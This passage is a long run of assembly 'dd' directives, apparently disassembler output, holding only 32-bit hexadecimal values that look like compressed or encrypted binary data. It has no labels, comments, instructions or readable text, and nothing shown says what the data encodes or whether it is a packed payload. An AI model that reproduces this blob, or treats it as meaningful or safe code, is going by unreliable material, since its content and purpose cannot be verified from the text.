		dd 0E3EE3718h, 1BF33608h
		dd 58AD41D1h, 73D4FD8h,	2FFBE901h, 9756ACCBh, 361FC4h
		dd 0B5CAEC29h, 704503C4h, 1C2BE01Fh, 2A8D501h, 0F9CF92CDh
		dd 0C980C94Eh, 416DA99Ch, 1800904Bh, 1D74BD5Ah,	30C32BA5h
		dd 70B8B01Ah, 6501F3AEh, 740E39Ah, 0B1FD4C11h, 4CA8058h
		dd 0E4BFBD27h, 0D296808h, 193C0480h, 0E6DDCCF0h, 81FF4001h
		dd 627F122Dh, 0D4E7F040h, 0BCBB00A0h, 3C1171C4h, 0CA014E95h
		dd 455051F9h, 0A0406A0Dh, 407BCDB2h, 3918A34Bh,	0FB30AA15h
		dd 61DA2462h, 0B2100024h, 70364883h, 3827A90Ah,	0C27020D7h
		dd 4D5B21ADh, 98415800h, 7CA55C6Dh, 69873F3Dh, 531523BFh
		dd 0CD1FCC47h, 0C0BE5C71h, 768F745Ah, 19002AE4h, 0A6172B2Dh
		dd 72B469h, 96DF253Fh, 0DBB3BBF1h, 0E93D7B00h, 5021D02Ch
		dd 0FA3418AAh, 8BCF0848h, 89E14203h, 0B037EE6Fh, 1F6943h
		dd 0C6D10CB7h, 1A876EBDh, 2EA4DE00h, 0ADEF4C05h, 0C541076Ah
		dd 0B253620Fh, 1EE37C8Dh, 29B85D0h, 0B272FE00h,	5FD9485Ah
		dd 6A1F007Dh, 0A3C2DD89h, 4000E164h, 6F3C6DEFh,	1AC03Eh
		dd 0E8F2ED9Ch, 4CDC53B8h, 1EC8603Ch, 700CCD8h, 0AABCCDFBh
		dd 47041A9Ch, 46C03151h, 0B3006D9Dh, 0F796F43Ah, 3AD78475h
		dd 8A872080h, 401D0427h, 366403B1h, 0E48E6300h,	6FD13A2Dh
		dd 607E039Fh, 517D2FBh,	4D19C0B8h, 8EDC4B00h, 6CE7B5A8h
		dd 0FDDE3EE2h, 0D0B3CA87h, 4AB7C011h, 0E5001B9Fh, 6EAED47Ch
		dd 0DFC3E0BEh, 6B0A4F90h, 0F6E1DAA0h, 39003842h, 0D1C1A7F9h
		dd 619556h, 0F3162A06h,	78C067FDh, 133A5400h, 0BAE3F887h
		dd 48A00027h, 75CD9366h, 817AF71Bh, 826AD600h, 44C7C413h
		dd 0AEFF00E0h, 15A61E8Bh, 0A728B3F0h, 3700F435h, 718EED13h
		dd 0F434ABC9h, 0F5820008h, 365F9138h, 8760C29Bh, 0FB4B9818h
		dd 0BDEB0270h, 1BAAF415h, 6F8DA480h, 7500CC65h,	0CF452344h
		dd 295D2Ah, 6A1BC25Eh, 95B3BC98h, 89843400h, 0F02D8D37h
		dd 31F70070h, 0AC68C97Bh, 9400DF77h, 6CCA628Bh,	0DE28F3h
		dd 25342D3Eh, 0A0D1B40Bh, 510BE48h, 0D617466Dh,	35E33180h
		dd 5245003Fh, 3DDA78A6h, 9A00D0DEh, 9B8BB7EAh, 694620h
		dd 9D5E59Eh, 6E720440h,	0D2ACD900h, 8CBD083Ah, 3CE2006Ah
		dd 0E629572Ch, 8F00A009h, 0A423C42Bh, 9C5E15h, 5C6BE8A1h
		dd 0EB4643B3h, 0D7B7A601h, 98E52B13h, 28DC220h,	14B8D196h
		dd 5C41D832h, 11D3F455h, 0AC45B53Eh, 180EFF71h,	3CE44057h
		dd 778BA7Dh, 0F4F8CEEAh, 6C9E70DEh, 0EF247EE9h,	803EBC5Bh
		dd 0AC903AE1h, 75ABE779h, 66C001Bh, 10300DC7h, 0CC0EF2D6h
		dd 0F97A150h, 0BB65A086h, 72D1E73h, 0C86370B0h,	899FE335h
		dd 0CF7CFDC8h, 49625200h, 0C1308346h, 7426038Eh, 229EE80h
		dd 9A3685B8h, 4F0025ECh, 9905BDB9h, 1F885583h, 822C4057h
		dd 192B620Eh, 0D28D5060h, 5AF9A312h, 23945F00h,	2D0DE556h
		dd 0E3FC7377h, 1D28D800h, 58C69803h, 0D7006918h, 0C5AE959Ch
		dd 0D5095BF4h, 20459299h, 757950F4h, 0F4BFE09Ah, 0B0FA00C9h
		dd 0B6C8841Eh, 891EFD12h, 81C03191h, 0E0887A5Ch, 0CBF90BDCh
		dd 2582281Bh, 0D460CFB3h, 0FB00378Bh, 0FFE78147h, 388359h
		dd 0E3DE1B97h, 769589B9h, 24854Ch, 0FFC0355h, 77D8FF86h
		dd 457B00ADh, 0A4B169A0h, 40001B32h, 11C8AB71h,	0F8978h
		dd 2B9B75CFh, 7234B1E7h, 0D4A2D512h, 0A6CED207h, 5439D350h
		dd 0DF042h, 8E848211h, 8D221F70h, 7A90E100h, 0EA052A0Bh
		dd 25CD0058h, 0B247AC61h, 7009AA78h, 106E7D5h, 0EFF2CD7h
		dd 0E2BEA7C4h, 2D970016h, 78E0E4DBh, 36009CBBh,	0D461817Fh
		dd 5D5A60h, 7A49FECFh, 0FF04B963h, 88B1A600h, 53388684h
		dd 0D4790075h, 0E643F39Fh, 0A700D8BCh, 0F506137Ah, 782AFAB5h
		dd 797339CAh, 0BA3A3B03h, 7288ED96h, 0B900B552h, 31E56268h
		dd 762678C8h, 0EBF7BF8h, 7688575Dh, 0FF326A60h,	0F4009D3Bh
		dd 111C29B7h, 21462Bh, 176E5195h, 30E2936Ah, 3F5C5D58h
		dd 0A1A200B3h, 0CA01BF66h, 0D533CC1h, 802BCD9Dh, 7A2A41E5h
		dd 0E486C06h, 9810006Ah, 61EA3DF3h, 5EBD0C39h, 0F2968108h
		dd 94B97400h, 8E99F3D5h, 13790004h, 0DA54D98Fh,	620E0D3Fh
		dd 77BC2FAh, 0B340C10Ah, 0EE63F672h, 0EFE0003Ah, 70C3A5B7h
		dd 19F881F3h, 5E5CAAB8h, 2C1B006Ch, 981EAA84h, 8A3F0097h
		dd 0C68BD972h, 7C7259BAh, 622D3800h, 86F901ADh,	173100AEh
		dd 42BC9AC8h, 0DF00E45Ch, 27BF255Bh, 0D32963h, 0EBA74166h
		dd 21A8CED9h, 26559000h, 693AB88Bh, 681600C0h, 0FCF5B40Ch
		dd 4D75ADAAh, 8D059101h, 890822C6h, 711AD7F0h, 97A2006Fh
		dd 5D85DC5Ch, 1E002FAFh, 8F9F8AD8h, 0BF0E9h, 2067D721h
		dd 0F313E3B0h, 7B15E000h, 715B7C32h, 0B96F03E5h, 1FE44008h
		dd 4EB0F09Fh, 64012EDFh, 0B32203BBh, 5480DDECh,	0CFB4ED16h
		dd 3300544Ch, 0B347735h, 8520Fh, 0A66B5599h, 1FCAD87h
		dd 4C407301h, 0F6B3F3E7h, 7E5E2EE4h, 0D53203FFh, 0C546DC5Fh
		dd 0FB54F7E0h, 1CAEF002h, 0C3657DA0h, 68D5F026h, 4830B07Eh
		dd 0DE001028h, 7B6CB81Bh, 15FC323Ch, 3501EE7Bh,	72517EB6h
		dd 86E82726h, 434700D9h, 9E7BEC6Ch, 69B0CD35h, 0FC123400h
		dd 0B4BE2FDFh, 3F5500F3h, 67C96239h, 93014084h,	0EDDDFF73h
		dd 96C45C32h, 1AE6038Ch, 28A182B0h, 0FB9FD6F8h,	2009479h
		dd 55DB9D1Ch, 3D593AC2h, 0FF80838Dh, 0AE5DA2F6h, 6004082h
		dd 9B65AB9Fh, 0FFB8B3E1h, 0E26B63DCh, 68E68Ah, 44F6E83Fh
		dd 0B7160F10h, 0FECEFD01h, 22247C39h, 16BF04E0h, 1C20C4h
		dd 158F2F57h, 58009ADAh, 801219E2h, 1AD70BAh, 27FF3765h
		dd 0E45CCEE8h, 0F9036093h, 0E679C2C1h, 0AC3AB832h, 278200A6h
		dd 23477D24h, 530042DAh, 0AA1A8FBBh, 3F65079Ah,	0B0A79D6h
		dd 0F801CAh, 82F85DA5h,	5B001D4Ah, 0F978298Eh, 904F44h
		dd 0C19B1F16h, 13EBF0E6h, 4B111D00h, 81575595h,	1AD75C76h
		dd 452F100h, 5F176951h,	63A29F07h, 3006D0Eh, 1CB3A4B2h
		dd 708D45h, 0E4A87A73h,	20C01290h, 7DA7096Bh, 0A54000DDh
		dd 0B17A3D9Dh, 6A002CA0h, 2162854Bh, 901D53CBh,	390F00E0h
		dd 22076D56h, 9800DD0Eh, 4BBA05ACh, 0DC785F3h, 9D19D64Eh
		dd 1F808040h, 0EB56FFD9h, 50EC7E0Bh, 30FB0C26h,	0B348701Dh
		dd 6200C84Fh, 9DF79872h, 0F1F9A5h, 1993CF3Ch, 0F4AF7C23h
		dd 6E093500h, 4E3B0AD2h, 0C2E452h, 0F67917C8h, 0AC8C0E88h
		dd 26FC3Dh, 973D3038h, 78E53h, 0E17D1763h, 2E922720h, 243F770Eh
		dd 74B2A01Dh, 720F88h, 58571630h, 0F1100212h, 6FBF8B00h
		dd 0E533A440h, 0A9E634h, 0AB587767h, 931CC3ECh,	0DDC238DCh
		dd 0E01AC996h, 73A6D271h, 0FD4A00FAh, 0D1432956h, 0A003AD53h
		dd 60354FE7h, 0F49ED819h, 0FA820230h, 5CD7153Ch, 0C71FC484h
		dd 9025379Ah, 56E2FF51h, 32336100h, 0C64CE18Fh,	0A3940615h
		dd 3016FD70h, 0BE00C1ECh, 8A8C9DB7h, 0FD6A13Ch,	0FAE0D32h
		dd 0DF1F9E20h, 0AA507495h, 100088FCh, 27064CA3h, 2F08B3h
		dd 163CD496h, 6E83133Fh, 7A0112FEh, 0F6EFEDB4h,	0F840233Bh
		dd 7ABC211Fh, 3D4316A1h, 0B9CE04E6h, 0DA5C90D2h, 5F00BB3Ch
		dd 0FAEF5483h, 9089F9CFh, 201F604Dh, 8A881BBAh,	84317D00h
		dd 93A0E648h, 0F6F403D9h, 0E47CC0A5h, 52A940F7h, 0AD7CD0FBh
		dd 50DB7400h, 6130D8BDh, 3BAC0259h, 6F37DE63h, 0BAE3D460h
		dd 9BEB0200h
		dd 7469B28Ch, 527C0FE2h, 4720A3E4h, 0E83D461Bh,	810DE000h
		dd 0B6C6CDC5h, 0C3D0E59Eh, 0AFA11E1Dh, 70641A8h, 8AB83D67h
		dd 4ABD619h, 804380FDh,	0F2F91798h, 0DC370600h,	0B94EBBF0h
		dd 23AA0DBEh, 0C431D471h, 0B8CF1E51h, 67081904h, 2B0615F0h
		dd 0C46829E8h, 0B60C3ADCh, 0FD504307h, 0BB6FCD00h, 8FA8EBF5h
		dd 0D42D0069h, 6446EFF3h, 0CA0C0A9h, 502090EDh,	0E52F48E8h
		dd 0D7091962h, 674F1881h, 8CB111F7h, 53103408h,	150CA9C6h
		dd 0A219474Dh, 31F42631h, 22EAD859h, 0C820724h,	3082DF3Dh
		dd 2485D52Ah, 6F5445C1h, 4D3C0A8Ah, 375B8A18h, 18251560h
		dd 0CD61014h, 24DF2915h, 6CA261E2h, 5482A41Dh, 0A110148Eh
		dd 0CBF04447h, 5105A42h, 840A8ADEh, 30439165h, 14C50C4Bh
		dd 244A7519h, 32AFCC26h, 2420B961h, 664DEA91h, 493E19FDh
		dd 7DCE18C5h, 1972480Ch, 78D6028Ah, 0BCD911C8h,	9C050048h
		dd 0EA20F707h, 390290Fh, 7024D95h, 855B7F3Fh, 0F7102009h
		dd 0FF001AB4h, 0D8E1B767h, 922BEE0Dh, 51260C24h, 4AD138DCh
		dd 10F2CE24h, 5A774182h, 0A0B080C5h, 98F6B914h,	6B1F003Fh
		dd 0E5836DCAh, 706BABFCh, 697100A1h, 607B3611h,	0B348A0A6h
		dd 0BC3D4619h, 9568E609h, 5C3501A8h, 86DDAD50h,	3088812Ch
		dd 0BE370E32h, 0DE801C4Ah, 0D4E3FB8Ch, 24498FE8h, 33D60050h
		dd 0BB9A01D3h, 389E189Bh, 0AD465034h, 0B01D35E6h, 3314AFDEh
		dd 3CBC1E8Ch, 0D50C9200h, 1DE521ABh, 0D41DB28Eh, 677A919Ch
		dd 404FD94Ch, 0AC709ED1h, 5C1DC101h, 0EED5BDEBh, 0A0A89E70h
		dd 14157114h, 34A632B7h, 2A422F83h, 7F4C1FC8h, 0E48083Eh
		dd 0C0204967h, 0F0F4C3C1h, 5145007Bh, 65E3D9D6h, 3D03371Bh
		dd 0C0AB7866h, 802ACABFh, 0B6FF3FB8h, 46B8C5E9h, 0D09C0135h
		dd 397BB4h, 0E4532F60h,	33F60127h, 2945C1DFh, 0B698A1Ch
		dd 5E01828Fh, 30276FF1h, 522F198Ah, 0F6980168h,	4B901B8Ch
		dd 11AC0E40h, 0B0C88050h, 3D42906h, 0EA433ED8h,	49D81C9Ch
		dd 2E0244A7h, 11D3E272h, 469881AFh, 39E0E760h, 2AC078F1h
		dd 9F493BEh, 0C18C28D4h, 16ED4400h, 0F603CE1Ch,	502A1BA4h
		dd 1C1876C7h, 33EFDC0h,	49ADE33h, 794BF816h, 181B0C4Ch
		dd 0B32B403Eh, 0D262FF07h, 0DD61EF61h, 31AC1A12h, 84C61560h
		dd 0EDF68280h, 0BB30BEC4h, 0E7A990B3h, 64C7926h, 0FFF483BFh
		dd 1B0018A2h, 0AE39D9E0h, 24BBB9A4h, 637CBCABh,	0D9F25446h
		dd 0AD119440h, 6883CB1Eh, 0B770B502h, 85AC42E9h, 0D4436020h
		dd 5050F546h, 0C4D68084h, 3D458A1h, 8BF9EDh, 0BDF63940h
		dd 0B0BB46DFh, 0C8D01139h, 0AE1371FCh, 180362CCh, 7C42028h
		dd 0A4602A90h, 0ADC597h, 0DA462B80h, 1530120Fh,	0FF6038DFh
		dd 0FC2AE259h, 0D74F0026h, 0A88044DEh, 122CBCC6h, 46804CACh
		dd 0B048380Dh, 0B7E713D2h, 890837EDh, 9767DCA0h, 3F1235B6h
		dd 0D4036C0Fh, 0C49EED0Dh, 4436480h, 0FAC8A846h, 0D2DD3A62h
		dd 40D8E9E3h, 8F2A7007h, 0F335E7E3h, 0AEBC3070h, 2D9D23F1h
		dd 0C854EB0Ah, 0A50D128h, 4890C3C4h, 100C4C26h,	25F19781h
		dd 2CEC09B5h, 75AD004Eh, 9913412Eh, 0BD26A8D2h,	0BE809C1Ch
		dd 4906FED8h, 378E4CF0h, 30B33912h, 0EEEDF1DCh,	0EA31BD00h
		dd 45D87F07h, 0A8C4A1BFh, 0A2C99450h, 88BB6032h, 6EF7D105h
		dd 524A4102h, 84302B6Ah, 24CDA2A0h, 6D1A8F8h, 0AE59E9ADh
		dd 250618C1h, 0D90CC9E8h, 0D08400D8h, 46F5C68Eh, 910443CAh
		dd 283644B5h, 59048CCEh, 8E658h, 0E1DEF524h, 0D61E2431h
		dd 65FCE050h, 0D3EB25Ch, 0B34854A5h, 610FC303h,	0EBD7AE6h
		dd 4AF5F460h, 0CE691B20h, 4418A211h, 0B7F06FD9h, 196B1C7Ch
		dd 0D87E25CFh, 62221100h, 0B3DD900Eh, 61F88048h, 3E91290Ch
		dd 676A6E05h, 0EC41ED7Ch, 0DA08CAC0h, 3353308Ah, 81B41058h
		dd 4CF00D01h, 0C39CE99Dh, 285913B0h, 0C501009h,	3E40A0CBh
		dd 24C562D3h, 0ACCCFA36h, 0D58804B8h, 608800Fh,	0CD240E89h
		dd 0FC0030E0h, 0EB1FB56Ah, 3CC92633h, 0D0048620h, 350931DAh
		dd 781B0Ah, 68A39400h, 94225948h, 904F7864h, 1BB62734h
		dd 0A209A02h, 0AE23C2EFh, 0AAA280D0h, 63BADD9h,	86B0C96Bh
		dd 0D50599B8h, 675761Dh, 1A250808h, 82F886Dh, 0E8BA8251h
		dd 3F98404Ah, 0BC1650F9h, 4DAE8EEh, 0BAA20E61h,	0C123001Ah
		dd 7BB72A4Ah, 174C007Ah, 48135B4Dh, 0B3093806h,	0DC425014h
		dd 0F7923D19h, 7C288AA0h, 0A86DAF09h, 0D950489Eh, 0AD841229h
		dd 73008115h, 3903D233h, 0A209D125h, 0D4B0BC50h, 0C070908Ah
		dd 704A6C90h, 74B845E8h, 1B004173h, 0D3B9F32Bh,	338F4E4h
		dd 89AF97FBh, 8ACC2003h, 12581420h, 33509EC8h, 82EE087Ch
		dd 0D0A03EC9h, 440E4501h, 3963AA52h, 3C4894BAh,	9321703h
		dd 0C800AEECh, 705AA4A9h, 3077355Eh, 9A5030FCh,	3800ACB0h
		dd 1B6D6F1Ah, 3C8FC9CAh, 39031371h, 2B073155h, 67A5A2C0h
		dd 3038C12Ah, 24C6AE26h, 4822868Ah, 28807100h, 808787Fh
		dd 92A55E9Ah, 0CD904380h, 0FA04B017h, 9B41EDFh,	2630C61Fh
		dd 3D3A4102h, 218780F6h, 9ADA77DCh, 4BEA7469h, 7B8C00A2h
		dd 0F606D6F9h, 0D6A17324h, 9C8003Ch, 66A802BFh,	0A213151Ah
		dd 2300A4B5h, 0CE41B712h, 8B243272h, 763A04F1h,	0E202B892h
		dd 0D1F9DE3Eh, 83C0C8EDh, 30C400ADh, 0C65A74E8h, 56008828h
		dd 62FBC24h, 2ED63268h,	12589D69h, 0B1041B3h, 0FCE17057h
		dd 21ECDEB9h, 1A4DE23Dh, 5D20A352h, 35754BC0h, 0D0B7A801h
		dd 0D9E419E8h, 6082D8D5h, 2F23B9C6h, 6104384Bh,	0BCA2E617h
		dd 1086F440h, 208C6A42h, 3100A2A9h, 686B77C5h, 0EF6713h
		dd 0AF44CB8Fh, 0F771EC8Ch, 0EB72A800h, 24EC4B7h, 2D07069h
		dd 9D642FE8h, 64A0EDCAh, 50FF7155h, 60C2DF21h, 45440D06h
		dd 74007972h, 65989596h, 0B0D81B1Eh, 0EF311A40h, 901758E9h
		dd 67A6ED88h, 0DEA420C9h, 0DD027425h, 5A4CB7FBh, 0C147241h
		dd 8E229121h, 4F3F69D0h, 31387D77h, 0FCB38043h,	9CD8939Bh
		dd 522800C5h, 2A2E8EADh, 0D6070FBDh, 4CB4AEEAh,	80F3BA93h
		dd 0A0D756h, 0F17AE242h, 0C8ED45C6h, 8F392100h,	0DC13FCEh
		dd 2DA60071h, 35BB6B7Ah, 2E73C707h, 3495E300h, 5DD28C2Ch
		dd 392D05FBh, 0C0DAD783h, 0CF3C7263h, 0E16D9C00h, 2D85A17Dh
		dd 6FAC00B6h, 5AB76811h, 0C5001C30h, 57566CF5h,	0F42471h
		dd 0D4B82E5h, 0CAE992AEh, 7E800E00h, 0B290594Ah, 48FB0099h
		dd 0B1D403C2h, 96037DDEh, 0FB5EF05h, 95FEF898h,	2668006Ch
		dd 66069F1Fh, 0AC005CE3h, 0C33076CEh, 1B194624h, 892C6AFh
		dd 9159C0E4h, 570032EBh, 0B0D1BF9Bh, 1283C10h, 9498B8AEh
		dd 8020AB7Bh, 0A6092C38h, 0F1310296h, 0A3E8B4D5h, 59AC0C63h
		dd 0C1687386h, 9345043Fh, 63001B60h, 584D9509h,	105B0F80h
		dd 805F1948h, 0BD300C47h, 88C3B98Ch, 0E0058051h, 0F65CDE8Eh
		dd 1B3B001Fh, 0FC2AEDE5h, 9F067A69h, 2CB65D44h,	0DD30030h
		dd 0B92581D9h, 0E61DF126h, 32C00994h, 0CCE43A4Dh, 2EE22CB2h
		dd 0A99C00D5h, 0A560257h, 96719B60h, 77D209Fh, 63BE4623h
		dd 301616A9h, 0FA5B7000h, 0CAF893E7h, 564C0386h, 1E2FCEB1h
		dd 0FC256BC0h, 0CB00AF73h, 0A32EFA90h, 3073F2C9h, 4D108468h
		dd 1174F6C4h, 7B3E750Ch, 3FC6485Ch, 0B9AB9E83h,	5AC10120h
		dd 48EAC2BAh, 0B9532618h, 0DE586114h, 61856F2h,	127AC903h
		dd 2BE052C3h, 0BA302B08h
		dd 66800923h, 59176194h, 0AEB97413h, 0D670C84Ch, 46038764h
		dd 0F9F84561h, 8CAB25Fh, 45EF382Ah, 1C21E517h, 305C46A6h
		dd 523823BEh, 54F8607h,	0E42F99F0h, 0BD03157Dh,	0EAA19C02h
		dd 418409C0h, 0AF58FE6h, 0B5168BAh, 0D5C631D2h,	3019FC34h
		dd 8A2930AEh, 269C64E9h, 0A018FC14h, 2A6DB05Ah,	72CC8BC2h
		dd 144A57Fh, 0CFC30F76h, 3F661857h, 7994C00Dh, 0B9158027h
		dd 3314B05Eh, 70E6B451h, 24C35D28h, 3F570A4Ch, 0E9A05546h
		dd 5968200Ch, 0F57948C4h, 4838101Ah, 5252A9ABh,	0E6A60C24h
		dd 403D8895h, 0B872170Ch, 6F303919h, 2A60A808h,	22D2982h
		dd 6C3DC150h, 298618E5h, 0CCA00620h, 0A3471388h, 0F767E60Ch
		dd 80C428B8h, 58800819h, 0CD3DF859h, 0E1E096E8h, 4803D237h
		dd 1D907FAAh, 1899175Eh, 0B3D4101Bh, 0B9437D15h, 719DCE54h
		dd 10A5C6C3h, 962C501Dh, 0AC46390Ah, 8890790Ch,	4E0832B9h
		dd 0B0A43318h, 0E358825Dh, 7311B09Ch, 2686E721h, 0D9314092h
		dd 4DF9D03Ch, 7CF4AC53h, 1A142408h, 0B015737Ch,	0C2FC1C35h
		dd 834F7706h, 2B345684h, 8244B990h, 74A94E9Bh, 4A36618h
		dd 0C28EB1F5h, 6170CE8Dh, 0E1461D70h, 40F0512h,	0D0823CAEh
		dd 83886F2Eh, 4DF09BC4h, 0B840AFD2h, 0EEEA2821h, 58042A47h
		dd 0D0631DB8h, 5FDD26BCh, 648EAC2Bh, 2823B301h,	508C49CEh
		dd 0AEC08006h, 911F783Ch, 3AC08D4Eh, 0E6E9AD98h, 66630C3h
		dd 18EA829h, 4B07879Ah,	9624C72Ah, 9B2C78D0h, 0C58AEA9h
		dd 2209ADD8h, 8B3CA629h, 5ECE9174h, 0A3F895C3h,	0DB8647CCh
		dd 3C709BE5h, 447638EBh, 503E639h, 336E9B88h, 8FAEA231h
		dd 1AB920CCh, 0D0FBF8h,	4F588393h, 18AB6048h, 3DDDC03h
		dd 0A0A61E1Fh, 0E3DFF5Fh, 42B4F091h, 6BBA1082h,	8D282090h
		dd 5740B3E6h, 0FCED02B8h, 8F6EDF03h, 1938B606h,	484374B0h
		dd 0FD204CB5h, 351D6508h, 46D8064Bh, 348C80E3h,	0CF94170Ch
		dd 378A960h, 5F7A83B8h,	70A5D1C8h, 5523DC18h, 0F7F55601h
		dd 923198A7h, 69B3B600h, 3838BC31h, 0AB1CB83Fh,	0C84BAE07h
		dd 38635A9Ch, 7C69C0E3h, 56BD7491h, 0EA03183Ch,	0F972781Dh
		dd 6E58681Ch, 499C6942h, 0C514906Ch, 236B3742h,	0C024AA59h
		dd 6544E372h, 7E2EC4A4h, 0DF0D57A9h, 1818B87Ch,	464C1BCDh
		dd 50F8E194h, 0FF297A78h, 358714AFh, 79AC9F87h,	8DE232D8h
		dd 50984C58h, 8910CBBDh, 7802FF21h, 2F4058Ch, 9DE828B3h
		dd 41673D93h, 2AC098A8h, 74D3428Eh, 0C6A2767Eh,	9FA8238h
		dd 8AE40903h, 0A2312BF0h, 0E63CB090h, 0DFDC1857h, 0C5385058h
		dd 3023834Ch, 0C162584Dh, 708A0EA9h, 0D083E333h, 8BC4961Ch
		dd 0D9A20344h, 2F39DC5h, 0ED0B58C0h, 14B0BF7Ah,	0BC1045EFh
		dd 287A99EBh, 29B06A21h, 40509555h, 1E203802h, 0CC5FB128h
		dd 0F045CA31h, 97E1FD1Bh, 8C05CC4Ah, 5F26052Dh,	0AD0CC090h
		dd 5C148507h, 69109C0Eh, 98308472h, 809F6080h, 4490C8h
		dd 2507767Fh, 8503016Dh, 9C1DF600h, 1F0EC041h, 9A2003D4h
		dd 2373EF09h, 0C0AF1CC1h, 0DAF6F739h, 0B86F2100h, 0D7EF95FDh
		dd 8F961F13h, 3C7CBCA8h, 4F001DFFh, 0EF1E7C80h,	910050EDh
		dd 95F684A1h, 0E8D23341h, 0F04831AFh, 8CD14030h, 380A3010h
		dd 9119085Fh, 0E106ECC1h, 3104D05h, 6F20C6B7h, 8FA09A49h
		dd 50BFADB1h, 0A8746Bh,	1DC4B3EFh, 907C5DC1h, 64A6D2E8h
		dd 56AFD800h, 39011083h, 0B08DED97h, 0D0D007CFh, 4FF03B7Eh
		dd 98618D37h, 81904B80h, 9606001Ah, 2046F72Fh, 0B97729AFh
		dd 3076CF29h, 8479CE80h, 0C026DF3h, 0BBBB739h, 98FF25D0h
		dd 6F60A340h, 1DCB03ECh, 916616EFh, 1EF6D2A0h, 0BD244F00h
		dd 4B0C2F95h, 308E820h,	722190C2h, 24A004C7h, 1E2987ABh
		dd 2D813CC5h, 6BA828E6h, 647C5700h, 0C0468C0h, 5009EF96h
		dd 765B056h, 803E87FAh,	0C38F80CDh, 0EF2926DDh,	398328CCh
		dd 0B580A343h, 50779402h, 0F7F480F5h, 622F231Ch, 288F08FAh
		dd 6A079C8Fh, 97EFC009h, 0AF0F22F8h, 80198331h,	8F1EA753h
		dd 0CFD0FB06h, 1C49C0D8h, 522F226Ch, 0F0F02E63h, 33181EF1h
		dd 850F0063h, 75419111h, 1939B05h, 0E8075309h, 74F6D87h
		dd 4181546Eh, 0D0434372h, 94078D4Ah, 0E1C332C3h, 9E80B030h
		dd 98CF50D2h, 130C3FDh,	0A1A067BAh, 93098A3Eh, 36DDF21h
		dd 187AA350h, 0B0AEC108h, 910C065Ch, 8054761h, 685E6067h
		dd 0C19386B5h, 86102E6Eh, 4808588Fh, 4F14802Fh,	3174F483h
		dd 0D4D8FDA9h, 0BEC441ACh, 38C041B3h, 0E1E88C3Bh, 62ED20A6h
		dd 0B418F0FFh, 0F49C3C40h, 0DAE10C4h, 3F8E1883h, 1931AF40h
		dd 0F00E3210h, 0CC09400Fh, 1E4F1Dh, 0D533CF20h,	0D8AF249Ch
		dd 0EB3A3A24h, 190F18F8h, 0C2C670C1h, 248048C9h, 0CC918D40h
		dd 8922BDFh, 81CC04ECh,	0A17880C9h, 10DF3C65h, 0BC051852h
		dd 0A00CA923h, 48611092h, 0BE0A246Bh, 18B8F25Ch, 3B8120CFh
		dd 0BC103662h, 0B68C83F9h, 8E7810FAh, 10BE37EDh, 2FACB340h
		dd 3373244Fh, 814800E8h, 2BEF0F22h, 0DCA5B090h,	0BD5D3D02h
		dd 398D600Dh, 0D4585017h, 98C83A4Fh, 0F9540F0Ah, 0F3670CA8h
		dd 2E60F5F0h, 96102268h, 0B8C050AFh, 57AE314Fh,	0F0DFFAA8h
		dd 53630C41h, 0E77920D8h, 2891C184h, 0C097546Ah, 5F9AE015h
		dd 2306848h, 0DE87DC28h, 0FE2C4088h, 203263C0h,	85D42BEAh
		dd 0E11C032Bh, 183370D8h, 0DF410824h, 0C619CC8Ah, 2A71CFB8h
		dd 0A22CB401h, 2A70892h, 8834C134h, 883F7841h, 149BC809h
		dd 8F0CDCDBh, 3908FE72h, 9007EF80h, 0C22F373Ch,	9E086E0h
		dd 0F0028031h, 892E79Bh, 201F2Ah, 0F1DBD58h, 48C9C1FBh
		dd 6F1C02CFh, 0A7B8E3B1h, 48186456h, 0F196420h,	0C29A61D7h
		dd 201F6049h, 6D666A70h, 249819D0h, 871CE701h, 83911B4Ch
		dd 0F824A93Dh, 0AF04645Dh, 0F884931Eh, 27382CCAh, 68455E9Eh
		dd 0F03726ECh, 96CF1E2Ch, 67280A07h, 284F13ECh,	0BF09F678h
		dd 820C059Fh, 636DD750h, 10BEE144h, 500B3460h, 0B09EA80Dh
		dd 0DF6F290Ch, 34108E20h, 10A6BC0h, 0D5001ED6h,	0CC76CE06h
		dd 0FBF03Ah, 16E6C629h,	698CA165h, 0D62E6200h, 7A2354BEh
		dd 98111E96h, 356B47CDh, 0C0AAD4CCh, 0C2A6B6A9h, 0FCF6F100h
		dd 40167A90h, 56CE3809h, 1F745ABCh, 3979313Ch, 7836E8F5h
		dd 687E004Bh, 287CBA0Bh, 7F0E8077h, 9EA7A5E8h, 6810D218h
		dd 1F6F7C76h, 775AAA8h,	0C15E6D48h, 0FCF98408h,	0FB74DDC5h
		dd 8C8E530h, 0F8FC4F45h, 2B7E1E25h, 0B18AC07Fh,	99C9487Ch
		dd 0A116F108h, 0A8FF0FA6h, 588CB600h, 0E920887Fh, 12093355h
		dd 100C8770h, 88A3AE8h,	9D8C40FDh, 76793503h, 0A17A2A99h
		dd 0E08A29B7h, 0F90D710h, 0D683D8DEh, 181F2E9Dh, 36066773h
		dd 32F847B6h, 0CE083AC7h, 0DDF68881h, 24209813h, 63D55608h
		dd 0D240184Bh, 5467B6E0h, 0C6EE8280h, 68EC1658h, 18C453E0h
		dd 6D041399h, 0E15D0654h, 489C6F10h, 0F2E94000h, 92070A76h
		dd 9F21F67Eh, 5B44D640h, 6612E8F1h, 308A9038h, 8C53B628h
		dd 2282F60Eh, 2FA3C77Ah, 69BC4841h, 4749A840h, 50DFF07Eh
		dd 0A0A29464h, 7C87E8F0h, 786DF073h, 26881F2Dh,	0BD1E3968h
		dd 0C9280C20h, 4A003311h, 0C8A0E87Eh, 7439B6CFh, 5C967372h
		dd 0FC182BF4h, 5F2B08C6h, 0F8F2B480h, 0BF0503F6h, 321756CDh
		dd 0EC4CB01Fh, 43E42843h, 5CA3F1h, 98EDA810h, 96A236CCh
		dd 0FC5056E8h, 0E602E8E8h
		dd 0BAC8EB27h, 60880077h, 4D3C287Eh, 0D40474A8h, 0D696EB0Dh
		dd 0E234849Ch, 3FBE02CBh, 0D7DEDAD0h, 0B3FF1098h, 0F8AE6610h
		dd 0A80D7E14h, 3530B63Bh, 0CF7862A8h, 1CDBD629h, 184808BEh
		dd 109E81E9h, 0C7D6CE05h, 67EC0CD5h, 0AB057638h, 0D4C8F28Ch
		dd 52402037h, 80CDA4D3h, 3748AC3Eh, 770C141Ch, 90802A98h
		dd 0F0EBCC31h, 8A3753Ch, 0FDAD0F44h, 5E49FACCh,	1328B73Bh
		dd 0C04D8F6h, 0C81DB36h, 102524D6h, 18BF2018h, 0C9F48586h
		dd 0FC3E52FEh, 14C529CDh, 0A7058287h, 1E02CB64h, 0BC826EF9h
